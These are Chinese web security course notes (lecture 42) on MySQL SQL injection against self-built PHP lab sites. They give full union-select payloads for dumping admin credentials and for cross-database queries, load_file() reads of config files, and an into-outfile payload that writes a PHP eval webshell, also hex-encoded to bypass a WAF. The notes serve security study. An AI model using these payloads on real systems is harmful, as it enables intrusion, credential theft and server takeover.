小迪安全v2023学习笔记(四十二讲)

前记

WEB攻防——第四十二天

PHP应用&MySQL架构&SQL注入&跨库查询&文件读写&权限操作

MySQL注入

PHP - MySQL&SQL常规查询
  • 在学习这节内容前,我们需要了解什么是SQL注入、SQL注入有哪些类型,以及常用的SQL语法

  • 通过前面的学习当中,其实我们也了解得差不多了,如果已经忘记的话,这里给出一篇大佬的文章可以参考一下:什么是SQL注入?SQL注入详解(非常详细)零基础入门到精通,收藏这一篇就够了-CSDN博客

  • 对于MySQL来说,我们在注入之前可以通过以下命令去获取当前网站的相关信息:

    1. 数据库版本 - 看是否符合 information_schema 查询 --> version()
    2. 数据库用户 - 看是否符合 ROOT 型注入攻击 --> user
    3. 当前操作系统 - 看是否支持大小写或文件路径选择(Windows大小写不敏感,Linux大小写敏感) --> @@version_compile_os
    4. 数据库名字 - 为后期猜解指定数据库下的表、列做准备 --> database()
  • MySQL 5.0以上版本:自带的数据库名 information_schema
    在这里插入图片描述

  • 这个数据库里面很重要的几个数据库表如下:

    1. information_schema:存储数据库下的数据库名,列名信息的数据库
      在这里插入图片描述

    2. information_schema.scheamta:记录数据库名信息的表

      • schema_name:就是当前数据库存在的库名
        在这里插入图片描述
    3. information_schema.tables:记录表名信息的表

      • table_schema:就是当前数据库的库名
      • table_name:指定数据库的表名
        在这里插入图片描述
    4. information_schema.columns:记录列名信息的表

      • table_schema:当前数据库的库名
      • table_name:指定数据库的表名
      • column_name:指定表的列名
        在这里插入图片描述
  • MySQL中有内置的管理用户,其中root用户就是默认的数据库管理员用户

  • 一般是通过root用户创建多个表去管理多个网站,但是也可以通过创建新用户去管理不同网站(在配置文件中更改数据库连接用户即可)

PHP - MySQL&Web组成架构
  • 服务器安装MySQL数据库,搭建多个站点,数据库集中存储MySQL数据库中管理可以都使用root用户管理,也可以创建多个用户对对应网站的数据库进行分布式管理
  • 所以一般数据有三种管理方式:
1. root用户集中式进行管理
===> 只有一个`root`用户管理不同网站

 | 域名 |           |数据库|   |管理员|  |数据库类型|
www.zblog.com  =>   zblog  =>  root  =>  MySQL
www.message.cccc => message => root  =>  MySQL

2. 不同用户分布式管理(推荐)
===> 多个不同的用户管理不同的网站

 | 域名 |           |数据库|   |管理员|  |数据库类型|
www.zblog.com  =>   zblog  =>  zblog  =>  MySQL
www.message.cccc => message => message  =>  MySQL

3. 多个用户主从关系式管理
==> 是2的衍生,root用户管理某个主网站,其他用户管理子网站

 | 域名 |           |数据库|   |管理员|  |数据库类型|
www.zblog.com  =>   zblog  =>  root  =>  MySQL
www.message.cccc => message => message  =>  MySQL
  • 基于上述的管理方式,会带来不同的安全问题,即我们有不同的注入方案
实战案例
root用户集中式管理
  • 这类网站的立体架构如下:
mysql
	root
		网站A  databaseA
		网站B  databaseB
  • 假设我们有两个站点,一个是zblog博客,地址为http://zblog.zblog:88
    ![[Pasted image 20250725230542.png]]

  • 一个为之前搭建的php新闻网站,地址为:http://message.cccc:8081/news.php
    在这里插入图片描述

  • 它们的数据库分别是message_cccczblog,现在它们都被同一个用户管理着
    在这里插入图片描述

  • 现在我们第一步是确认注入点,可以很明显地知道网站二存在SQL注入,因为SQL语句都标出来了

  • 然后使用hackbar尝试注入,正常来说是先判断是字符型还是数字型,可以通过这两条SQL语句id=1 and 1=1 --+正常回显,id=1 and 1=2 --+错误回显,说明是数字型
    在这里插入图片描述
    在这里插入图片描述

  • 然后开始查询表中有多少列,使用order by或者group by语句,一般用的是order by,或者也可以直接select 1,2,...去试:
    在这里插入图片描述
    在这里插入图片描述

  • 可以看到7不回显,说明该表当中有六列数据

  • 接下来是查询哪些位置可以回显,使用的是union select 1,2,...语句:
    在这里插入图片描述

  • 当然这里将前面的id值置为一个不可能存在的值更好,比如0-1。可以看到的是回显位有2,3,4,5

  • 那么我们就可以查询四信息了,SQL语句为id=1 union select 1,version(),user(),@@version_compile_os,database(),6 --+
    在这里插入图片描述
    在这里插入图片描述

  • 所以数据库版本为5.7.26,存在information_schema数据库;当前用户为root,高权限;然后操作系统为Windows64,文件路径大小写不敏感;当前数据库名为message_cccc

  • 接下来就可以通过information_schema表来获取数据库message_cccc下存在的表名了,SQL语句为:id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema = database()),5,6 --+

    • group_concat():将得到的表名用逗号拼接起来
    • --+:注释符,将后面多余的SQL语句注释掉,+表示空格
      在这里插入图片描述
  • 得到了很多表名,我们需要的是message_memberusers,因为这两个可能保存账户

  • 先对message_member注入吧,查看其列名,SQL语句为:id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="message_member"),5,6 --+(注意这里需要使用""包裹表名):
    在这里插入图片描述

  • 得到该表的列名,我们需要的是usernamepassword,所以直接提取,SQL语句为:id=-1 union select 1,2,3,(select concat(username, 0x7e, password) from message_member limit 0,1),5,6 --+

    • concat():聚合函数,用于连接多个列值
    • 0x7e~的十六进制表示,这里用作连接符
    • limit 起始行n,长度m:从第n行起,往下数m行数据输出。如limit 0,1表示从第0行起,输出1行。
      在这里插入图片描述
      在这里插入图片描述
  • 到这里,我们就成功得到了该网站管理员用户的账户名和密码,接下来就可以尝试找后台登录了

不同用户分布式管理——传统注入
  • 这类网站的立体架构为:
mysql
	userA
		网站A  databaseA
	userB
		网站B  databaseB
  • 那这其实就和上面的一样,找注入点,然后尝试注入拿取数据即可
多个用户主从关系式管理——跨库注入
  • 这类网站的立体架构为:
mysql
	root
		网站A  databaseA
	userA
		网站B  databaseB
	userB
		网站C  databaseC
  • 这类数据库架构的基本注入方案和前面都差不多,但是它这种架构衍生出来另一种注入风险——跨库注入

  • 当我的主站(root用户管理)存在SQL注入,但是旁站(其他用户管理)不存在SQL注入时,如果采用这类结构,那么就可以通过主站注入去拿到旁站的信息

  • 这里还是以上面的网站案例做演示,假设zblog网站不存在注入点,而php新闻网站存在SQL注入

  • 那么我们就可以利用information_schema.schemata拿到架设在root下的所有数据库名,SQL语句为:id=-1 union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata),5,6 --+
    在这里插入图片描述

  • 可以看到有一个zblog数据库,刚好另外一个网站搭建的是zblog博客,那这很有可能是该网站的数据库

  • 我们就尝试注入得到表名,注入语句其实就是上面的注入语句,改改数据库名就好了:
    在这里插入图片描述

  • 然后我们看到zbp_member可能存放账户信息,尝试注入得到列名:
    在这里插入图片描述

  • 那这里就得到了我们想要的表名:mem_Namemem_Password,尝试得到列值id=-1 union select 1,2,3,(select concat(mem_Name,0x7e,mem_Password) from zbp_member limit 0,1),5,6 --+
    在这里插入图片描述

  • 欸?这里注入失败了!原因是因为当前所处的真实数据库为message_cccc,我们想要查询的数据库为zblog下的zbp_member表,所以这里需要使用zblog.zbp_member来表示,类似于C++/Java里面的 对象名.属性
    在这里插入图片描述

  • 成功拿到管理zblog管理员账号和密码,尝试解密然后登入后台

  • 那其实这种跨库注入的话,只要是root用户都可以尝试实现

MySQL文件读写

  • MySQL数据库允许用户通过load_file()函数读取文件内容,使用into outfile "path"语句导出SQL数据到指定文件中去

  • 当然,完成上述操作需要一定的条件:

    • 当前数据库用户的权限
    • secure-file-priv设置:MySQL <= 5.7.25版本是默认关闭的,表现为数值为空;MySQL >= 5.7.26版本是默认开启的,表现为NULL或者限制路径;可以通过show variables like "secure_file_priv"查看
  • 实战中,我们可以查看@@secure_file_priv看是否开启
    在这里插入图片描述

  • 无报错,无回显,说明是关闭的,可以读写任意文件

文件读取
  • 假设我们有一个1.txt文件在D:\\Download目录下,我们就可以通过load_file("D:\\Download\\1.txt)读取:
    在这里插入图片描述

  • 那么你说这个有什么用,假设我们知道了当前网站源码所处的文件路径,那么我们是不是可以读取源码?是不是可以读取配置文件?那数据库密码可能就在配置文件当中啊

  • 那你又问怎么得到当前源码所在的文件路径呢?一般知道了网站的中间件,那么就知道了很多配置文件是放在一个默认路径下面的,比如这里是Apache,它每个网站都有一个配置文件,放在Extensions/Apache/conf/vhosts/网站名_端口.conf里面,那这里面就可以看到当前网站源码所处的物理位置

  • 比如我们在这里读取一下:
    在这里插入图片描述

  • 可以读取的路径有:load_file()常用路径_load file 目录-CSDN博客

  • 那如果它更换位置了怎么办呢?

  • 那此时我们也可以通过如下方式去找:

    • 报错页面:有时候网站的报错页面是会暴露出当前路径
      在这里插入图片描述

    • 配置页面泄露:有些网站可能会泄露配置页面,比如常见的phpinfo()compose.json
      在这里插入图片描述

文件写入
  • 当我们知道网站当前的路径之后,我们就可以直接写入木马文件了,SQL语句为id=-1 union select 1,2,3,'<?php @eval($_POST[123]);?>',5,6 into outfile "D:\\phpstudy_pro\\WWW\\MessageContext\1.php" --+
    在这里插入图片描述
    在这里插入图片描述

  • 可以看到成功写入!然后我们尝试蚁剑连接:
    在这里插入图片描述

  • 成功!

WAF绕过

  • 这里只是提到了一嘴,如果有waf过滤的话,可以尝试十六进制编码绕过

  • 比如这里,如果过滤了单引号,可以将一句话木马十六进制编码为:0x3C3F70687020406576616C28245F504F53545B3132335D293B3F3E
    在这里插入图片描述

  • 也能够成功写入:
    在这里插入图片描述

总结
  • 我们进行SQL注入的目的是尝试获取管理员的账号密码或者直接获取主机的权限
  • 所以如果开启了读写权限,那我们就可以自己写入木马getshell;没有开启就需要尝试获取管理员账号密码进后台
  • 既然我们要获取账号密码,那我们注入的最终目的就变成了获取某个表中的某个字段数据
  • 所以我们就必须要知道数据库名、表名、列(字段)名这些信息
  • 那么怎么样去得到这些信息呢?就是需要我们去了解如何写入SQL语句尝试注入啊
  • 我们知道不同的数据库它的语法、功能这些都是不同的,所以我们需要去了解当前网站的数据库类型数据库版本当前数据库用户的权限当前系统类型等信息才行吧
  • 那从下往上推,我们就可以基于这些得到的信息去选择测试方案:
    • root用户:先测试有无读写权限(@@secure_file_priv),后尝试SQL注入
    • root用户:直接尝试SQL注入
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值